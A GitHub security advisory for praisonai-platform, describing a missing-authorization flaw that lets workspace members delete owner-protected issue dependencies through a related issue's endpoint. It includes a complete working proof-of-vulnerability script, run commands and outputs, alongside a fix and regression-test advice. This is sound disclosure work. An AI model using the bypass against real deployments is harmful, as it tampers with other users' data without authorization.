CWE-862
Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
18003 vulnerabilities reference this CWE, most recent first.
GHSA-MXMX-RH57-JX58
Vulnerability from github – Published: 2026-10-07 14:28 – Updated: 2026-10-07 14:28Platform members can delete owner issue dependencies through member-owned related issues
Summary
praisonai-platform issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.
Technical Details
The affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. src/praisonai-platform/praisonai_platform/api/routes/dependencies.py defines DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}. The route first verifies that the URL issue_id is in the workspace, loads the dependency by dep_id, and accepts the dependency when either dep.issue_id == issue_id or dep.depends_on_issue_id == issue_id. It then calls require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id) for the URL issue only.
src/praisonai-platform/praisonai_platform/api/deps.py implements require_delete_permission as "admin/owner or resource owner". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy resource_owner_id == user.id, and delete the dependency edge that is also returned from the owner-created issue's dependency list.
The same route family also lets any workspace member create dependency edges on owner-created issues with only require_workspace_member. POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/ verifies that both issues are in the workspace, then calls DependencyService.create(issue_id, body.depends_on_issue_id, body.type) without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns 403 while the related member issue endpoint deletes the same edge with 204.
The intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns 403, an owner deleting the same dependency returns 204, and a non-member creating a dependency returns 403. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.
PoV
the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.
Essential excerpt:
dep_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
headers=owner_headers,
)
dep_id = dep_resp.json()["id"]
member_delete_owner_endpoint = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
headers=member_headers,
)
member_delete_member_endpoint = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
headers=member_headers,
)
owner_list_after_member_delete = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
headers=owner_headers,
)
The full PoV script is included in the appendix below as pov_platform_dependency_delete_bypass.py.
PoC
Current head tested:
846568c7a5d8ce9e71e56e4c213f027c04909753
2026-06-17 20:13:04 +0100
chore: clean up redundant 'persist-credentials' entries in GitHub workflows
Run against a local checkout of current head:
uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json
Decisive current-head output:
{
"checks": {
"member_create_dependency_on_owner_issue": 201,
"member_delete_member_issue_endpoint": 204,
"member_delete_owner_issue_endpoint": 403,
"member_delete_owner_only_dependency": 403,
"non_member_create_dependency": 403,
"owner_delete_owner_only_dependency": 204,
"owner_dependency_count_after_member_delete": 0
},
"source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753",
"vulnerable": true
}
The key vulnerable sequence is member_delete_owner_issue_endpoint == 403, followed by member_delete_member_issue_endpoint == 204 for the same dependency id, followed by owner_dependency_count_after_member_delete == 0.
Run against the latest PyPI package observed during testing:
uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_dependency_delete_bypass.py --json
Decisive latest-PyPI output:
{
"checks": {
"member_create_dependency_on_owner_issue": 201,
"member_delete_member_issue_endpoint": 204,
"member_delete_owner_issue_endpoint": 403,
"member_delete_owner_only_dependency": 403,
"non_member_create_dependency": 403,
"owner_delete_owner_only_dependency": 204,
"owner_dependency_count_after_member_delete": 0
},
"source": "pypi:praisonai-platform==0.1.8",
"vulnerable": true
}
Version sweep excerpt:
praisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.
praisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.
praisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.
Impact
An ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove blocks, blocked_by, or related workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.
Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.
Suggested Fix
Define authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary dep.issue_id issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.
For creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.
Add regression tests for these cases: a member cannot delete an owner issue -> member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.
Affected Package/Versions
Affected package: pypi:praisonai-platform.
Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.
The owner-side dependency delete bypass is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In 0.1.4, direct member dependency deletes already returned 204, so this narrower bypass is masked by broader older delete authorization behavior.
Suggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.
Advisory History
Visible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.
GHSA-4x6r-9v57-3gqw, "praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR", covers older cross-workspace dependency endpoint IDOR behavior in versions <= 0.1.2. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns 403.
GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns 403 in current head, 0.1.6, and 0.1.8; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.
GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled project_id reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.
Older cross-workspace object IDOR advisories such as GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.
References
https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqwhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mhhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7xhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxxhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2jhttps://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7https://cwe.mitre.org/data/definitions/862.htmlhttps://cwe.mitre.org/data/definitions/863.html
Appendix A - Longer Version Sweep
=== praisonai-platform 0.1.4 ===
"member_delete_owner_issue_endpoint": 204
"member_delete_member_issue_endpoint": 404
"member_delete_owner_only_dependency": 204
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 404
"owner_dependency_count_after_member_delete": 0
=== praisonai-platform 0.1.6 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0
=== praisonai-platform 0.1.8 ===
"member_delete_owner_issue_endpoint": 403
"member_delete_member_issue_endpoint": 204
"member_delete_owner_only_dependency": 403
"non_member_create_dependency": 403
"owner_delete_owner_only_dependency": 204
"owner_dependency_count_after_member_delete": 0
Appendix B - Full PoV Script
Save this as pov_platform_dependency_delete_bypass.py before running the PoC commands above.
#!/usr/bin/env python3
"""PoV for PraisonAI Platform issue-dependency delete authorization."""
from __future__ import annotations
import argparse
import asyncio
import json
import os
import subprocess
import sys
from pathlib import Path
from typing import Any
def _load_local_source(repo: Path | None) -> None:
if repo is None:
return
platform_root = repo / "src" / "praisonai-platform"
agents_root = repo / "src" / "praisonai-agents"
for path in (str(platform_root), str(agents_root)):
if path not in sys.path:
sys.path.insert(0, path)
async def _register(client: Any, email: str, name: str) -> tuple[str, str]:
response = await client.post(
"/api/v1/auth/register",
json={"email": email, "password": "Password1!", "name": name},
)
if response.status_code >= 400:
raise RuntimeError(
f"register failed for {email}: {response.status_code} {response.text}"
)
body = response.json()
return body["token"], body["user"]["id"]
async def _create_issue(
client: Any,
workspace_id: str,
headers: dict[str, str],
title: str,
) -> str:
response = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/",
json={"title": title, "priority": "high"},
headers=headers,
)
response.raise_for_status()
return response.json()["id"]
async def _run(repo: Path | None) -> dict[str, Any]:
os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum"
_load_local_source(repo)
from httpx import ASGITransport, AsyncClient
from sqlalchemy.ext.asyncio import create_async_engine
from praisonai_platform.api.app import create_app
from praisonai_platform.db import base as base_mod
from praisonai_platform.db.base import Base, reset_engine
await reset_engine()
engine = create_async_engine(
"sqlite+aiosqlite:///:memory:",
echo=False,
connect_args={"check_same_thread": False},
)
base_mod._engine = engine
base_mod._session_factory = None
async with engine.begin() as conn:
await conn.run_sync(Base.metadata.create_all)
app = create_app()
transport = ASGITransport(app=app)
async with AsyncClient(transport=transport, base_url="http://local-poc") as client:
owner_token, owner_id = await _register(client, "owner@example.com", "Owner")
member_token, member_id = await _register(client, "member@example.com", "Member")
outsider_token, _ = await _register(client, "outsider@example.com", "Outsider")
owner_headers = {"Authorization": f"Bearer {owner_token}"}
member_headers = {"Authorization": f"Bearer {member_token}"}
outsider_headers = {"Authorization": f"Bearer {outsider_token}"}
ws_resp = await client.post(
"/api/v1/workspaces/",
json={"name": "Shared Workspace", "slug": "shared-workspace"},
headers=owner_headers,
)
ws_resp.raise_for_status()
workspace_id = ws_resp.json()["id"]
add_member = await client.post(
f"/api/v1/workspaces/{workspace_id}/members",
json={"user_id": member_id, "role": "member"},
headers=owner_headers,
)
add_member.raise_for_status()
owner_issue_id = await _create_issue(
client, workspace_id, owner_headers, "Owner-owned blocked issue"
)
member_issue_id = await _create_issue(
client, workspace_id, member_headers, "Member-owned related issue"
)
dep_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
headers=owner_headers,
)
dep_resp.raise_for_status()
dep_id = dep_resp.json()["id"]
member_delete_owner_endpoint = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}",
headers=member_headers,
)
member_delete_member_endpoint = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}",
headers=member_headers,
)
owner_list_after_member_delete = await client.get(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
headers=owner_headers,
)
owner_issue_b = await _create_issue(
client, workspace_id, owner_headers, "Owner issue B"
)
owner_issue_c = await _create_issue(
client, workspace_id, owner_headers, "Owner issue C"
)
owner_only_dep_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/",
json={"depends_on_issue_id": owner_issue_c, "type": "blocks"},
headers=owner_headers,
)
owner_only_dep_resp.raise_for_status()
owner_only_dep_id = owner_only_dep_resp.json()["id"]
member_delete_owner_only_dep = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
headers=member_headers,
)
owner_delete_owner_only_dep = await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_b}/dependencies/{owner_only_dep_id}",
headers=owner_headers,
)
outsider_create_dependency = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
json={"depends_on_issue_id": member_issue_id, "type": "blocks"},
headers=outsider_headers,
)
member_created_dep_resp = await client.post(
f"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/",
json={"depends_on_issue_id": member_issue_id, "type": "related"},
headers=member_headers,
)
if member_created_dep_resp.status_code == 201:
member_created_dep_id = member_created_dep_resp.json()["id"]
await client.delete(
f"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{member_created_dep_id}",
headers=owner_headers,
)
await engine.dispose()
base_mod._engine = None
base_mod._session_factory = None
dependencies_after_delete = (
owner_list_after_member_delete.json()
if owner_list_after_member_delete.status_code == 200
else None
)
checks = {
"member_delete_owner_issue_endpoint": member_delete_owner_endpoint.status_code,
"member_delete_member_issue_endpoint": member_delete_member_endpoint.status_code,
"owner_dependency_count_after_member_delete": (
len(dependencies_after_delete) if dependencies_after_delete is not None else None
),
"member_delete_owner_only_dependency": member_delete_owner_only_dep.status_code,
"owner_delete_owner_only_dependency": owner_delete_owner_only_dep.status_code,
"non_member_create_dependency": outsider_create_dependency.status_code,
"member_create_dependency_on_owner_issue": member_created_dep_resp.status_code,
}
vulnerable = (
checks["member_delete_owner_issue_endpoint"] == 403
and checks["member_delete_member_issue_endpoint"] == 204
and checks["owner_dependency_count_after_member_delete"] == 0
and checks["member_delete_owner_only_dependency"] == 403
and checks["owner_delete_owner_only_dependency"] == 204
and checks["non_member_create_dependency"] == 403
and checks["member_create_dependency_on_owner_issue"] == 201
)
return {
"package": "praisonai-platform",
"source": _source_id(repo),
"workspace_role": "member",
"summary": (
"A workspace member can delete a dependency edge that protects an owner-created "
"issue by addressing the same dependency through a member-owned related issue."
),
"issue_ids": {
"owner_issue": owner_issue_id,
"member_issue": member_issue_id,
},
"dependency_id": dep_id,
"checks": checks,
"vulnerable": vulnerable,
}
def _source_id(repo: Path | None) -> str:
if repo is None:
import importlib.metadata
return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}"
rev = subprocess.check_output(
["git", "-C", str(repo), "rev-parse", "HEAD"],
text=True,
).strip()
return f"git:{rev}"
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--repo", type=Path)
parser.add_argument("--json", action="store_true")
args = parser.parse_args()
result = asyncio.run(_run(args.repo.resolve() if args.repo else None))
if args.json:
print(json.dumps(result, indent=2, sort_keys=True))
else:
for key, value in result["checks"].items():
print(f"{key}: {value}")
print(f"vulnerable: {result['vulnerable']}")
return 0 if result["vulnerable"] else 1
if __name__ == "__main__":
raise SystemExit(main())
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.8"
},
"package": {
"ecosystem": "PyPI",
"name": "praisonai-platform"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-62179"
],
"database_specific": {
"cwe_ids": [
"CWE-862",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T14:28:56Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# Platform members can delete owner issue dependencies through member-owned related issues\n\n## Summary\n\n`praisonai-platform` issue dependency deletion can be authorized against the wrong side of a dependency edge. A workspace member cannot delete a dependency through the owner-created issue endpoint, but can delete the same dependency through a member-owned related issue endpoint because the route accepts either endpoint and checks delete permission only against the caller-selected URL issue.\n\n## Technical Details\n\nThe affected boundary is the difference between ordinary workspace membership and owner/admin authority over destructive changes to owner-created issue workflow state. `src/praisonai-platform/praisonai_platform/api/routes/dependencies.py` defines `DELETE /workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}`. The route first verifies that the URL `issue_id` is in the workspace, loads the dependency by `dep_id`, and accepts the dependency when either `dep.issue_id == issue_id` or `dep.depends_on_issue_id == issue_id`. It then calls `require_delete_permission(workspace_id, user, session, resource_owner_id=issue.creator_id)` for the URL issue only.\n\n`src/praisonai-platform/praisonai_platform/api/deps.py` implements `require_delete_permission` as \"admin/owner or resource owner\". That helper is appropriate when the protected resource has a single owner, but the dependency route lets the caller choose either side of the relationship before the helper runs. If an owner-created issue is related to a member-owned issue, the member can select the member-owned issue in the URL, satisfy `resource_owner_id == user.id`, and delete the dependency edge that is also returned from the owner-created issue\u0027s dependency list.\n\nThe same route family also lets any workspace member create dependency edges on owner-created issues with only `require_workspace_member`. `POST /workspaces/{workspace_id}/issues/{issue_id}/dependencies/` verifies that both issues are in the workspace, then calls `DependencyService.create(issue_id, body.depends_on_issue_id, body.type)` without checking owner/admin authority over the primary issue. This report focuses on the stronger delete-guard bypass because the current owner issue endpoint returns `403` while the related member issue endpoint deletes the same edge with `204`.\n\nThe intended boundary is visible from the local controls: a member deleting an owner-only dependency through an owner issue endpoint returns `403`, an owner deleting the same dependency returns `204`, and a non-member creating a dependency returns `403`. The vulnerability is the endpoint-selection path where the member uses a related member-owned issue as the URL issue to delete an owner-side dependency edge.\n\n## PoV\n\nthe PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and a non-member, creates one owner-owned issue and one member-owned issue in the same workspace, creates a dependency from the owner issue to the member issue, then exercises the dependency delete route through both issue endpoints.\n\nEssential excerpt:\n\n```python\ndep_resp = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n json={\"depends_on_issue_id\": member_issue_id, \"type\": \"blocks\"},\n headers=owner_headers,\n)\ndep_id = dep_resp.json()[\"id\"]\n\nmember_delete_owner_endpoint = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/{dep_id}\",\n headers=member_headers,\n)\n\nmember_delete_member_endpoint = await client.delete(\n f\"/api/v1/workspaces/{workspace_id}/issues/{member_issue_id}/dependencies/{dep_id}\",\n headers=member_headers,\n)\n\nowner_list_after_member_delete = await client.get(\n f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/dependencies/\",\n headers=owner_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_dependency_delete_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17 20:13:04 +0100\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_dependency_delete_bypass.py --repo ./PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n \"checks\": {\n \"member_create_dependency_on_owner_issue\": 201,\n \"member_delete_member_issue_endpoint\": 204,\n \"member_delete_owner_issue_endpoint\": 403,\n \"member_delete_owner_only_dependency\": 403,\n \"non_member_create_dependency\": 403,\n \"owner_delete_owner_only_dependency\": 204,\n \"owner_dependency_count_after_member_delete\": 0\n },\n \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n \"vulnerable\": true\n}\n```\n\nThe key vulnerable sequence is `member_delete_owner_issue_endpoint == 403`, followed by `member_delete_member_issue_endpoint == 204` for the same dependency id, followed by `owner_dependency_count_after_member_delete == 0`.\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_dependency_delete_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n \"checks\": {\n \"member_create_dependency_on_owner_issue\": 201,\n \"member_delete_member_issue_endpoint\": 204,\n \"member_delete_owner_issue_endpoint\": 403,\n \"member_delete_owner_only_dependency\": 403,\n \"non_member_create_dependency\": 403,\n \"owner_delete_owner_only_dependency\": 204,\n \"owner_dependency_count_after_member_delete\": 0\n },\n \"source\": \"pypi:praisonai-platform==0.1.8\",\n \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member delete through the owner issue endpoint returned 204, so the current endpoint-selection bypass is masked by broader older dependency delete behavior.\npraisonai-platform 0.1.6: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\npraisonai-platform 0.1.8: member delete through the owner issue endpoint returned 403, deleting the same dependency through the member-owned related issue endpoint returned 204, and the owner issue dependency count became 0.\n```\n\n## Impact\n\nAn ordinary workspace member can remove dependency edges from owner-created issues whenever the dependency also references a member-owned issue. This lets the member remove `blocks`, `blocked_by`, or `related` workflow state that an owner/admin expected to protect planning or execution order. The same route family also allows the member to create dependency edges on owner-created issues, so a member can both add false workflow relationships and remove owner-created relationships through endpoint selection.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges, does not claim confidentiality impact, and treats the consequence as workflow integrity loss rather than code execution.\n\n## Suggested Fix\n\nDefine authorization for dependency edges explicitly instead of deriving it from the caller-selected URL issue. A straightforward fix is to require delete authority on the primary `dep.issue_id` issue, regardless of which related issue endpoint was used to address the edge. A stricter fix is to require workspace admin/owner authority or sufficient authority on both related issues before deleting a dependency edge.\n\nFor creation, require owner/admin or primary-issue owner authority before creating a dependency edge on an existing issue. This prevents ordinary members from adding dependency state to owner-created issues they do not control.\n\nAdd regression tests for these cases: a member cannot delete an owner issue -\u003e member issue dependency through the owner issue endpoint; the same member also cannot delete that dependency through the member issue endpoint; owner/admin callers can delete it; non-members cannot create dependencies; members cannot create dependencies on owner-created issues unless that is an explicitly intended collaboration rule.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner-side dependency delete bypass is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member dependency deletes already returned `204`, so this narrower bypass is masked by broader older delete authorization behavior.\n\nSuggested affected range for the endpoint-selection delete bypass after delete ownership checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include dependency endpoint and delete ownership fixes, but the checked public advisories do not appear to cover this same same-workspace endpoint-selection delete authorization bypass on current head.\n\n`GHSA-4x6r-9v57-3gqw`, \"praisonai-platform: Dependency endpoints accept any issue_id and dep_id without workspace ownership check, cross-workspace issue linking + read + delete IDOR\", covers older cross-workspace dependency endpoint IDOR behavior in versions `\u003c= 0.1.2`. This report is distinct because the PoV uses one workspace, both issues are verified inside that workspace, and the non-member control returns `403`.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers broad member DELETE behavior. This report is distinct because the direct owner issue dependency delete path returns `403` in current head, `0.1.6`, and `0.1.8`; the delete succeeds only when the same dependency is addressed through the member-owned related issue endpoint.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and project stats pollution. This report does not rely on project references or cross-workspace ids.\n\nOlder cross-workspace object IDOR advisories such as `GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover global object ID workspace-boundary failures. This report is scoped to same-workspace owner/admin authorization over dependency edge deletion.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4x6r-9v57-3gqw`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_delete_owner_issue_endpoint\": 204\n\"member_delete_member_issue_endpoint\": 404\n\"member_delete_owner_only_dependency\": 204\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 404\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.6 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n\n=== praisonai-platform 0.1.8 ===\n\"member_delete_owner_issue_endpoint\": 403\n\"member_delete_member_issue_endpoint\": 204\n\"member_delete_owner_only_dependency\": 403\n\"non_member_create_dependency\": 403\n\"owner_delete_owner_only_dependency\": 204\n\"owner_dependency_count_after_member_delete\": 0\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_dependency_delete_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform issue-dependency delete authorization.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n if repo is None:\n return\n platform_root = repo / \"src\" / \"praisonai-platform\"\n agents_root = repo / \"src\" / \"praisonai-agents\"\n for path in (str(platform_root), str(agents_root)):\n if path not in sys.path:\n sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n response = await client.post(\n \"/api/v1/auth/register\",\n json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n )\n if response.status_code \u003e= 400:\n raise RuntimeError(\n f\"register failed for {email}: {response.status_code} {response.text}\"\n )\n body = response.json()\n return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n client: Any,\n workspace_id: str,\n headers: dict[str, str],\n title: str,\n) -\u003e str:\n response = await client.post(\n f\"/api/v1/workspaces/{workspace_id}/issues/\",\n json={\"title\": title, \"priority\": \"high\"},\n headers=headers,\n )\n response.raise_for_status()\n return response.json()[\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n _load_local_source(repo)\n\n from httpx import ASGITransport, AsyncClient\n from sqlalchemy.ext.asyncio import create_async_engine\n\n from praisonai_platform.api.app import create_app\n from praisonai_platform.db import base as base_mod\n from praisonai_platform.db.base import Base, reset_engine\n\n await reset_engine()\n engine = create_async_engine(\n \"sqlite+aiosqlite:///:memory:\",\n echo=False,\n connect_args={\"check_same_thread\": False},\n )\n base_mod._engine = engine\n base_mod._session_factory = 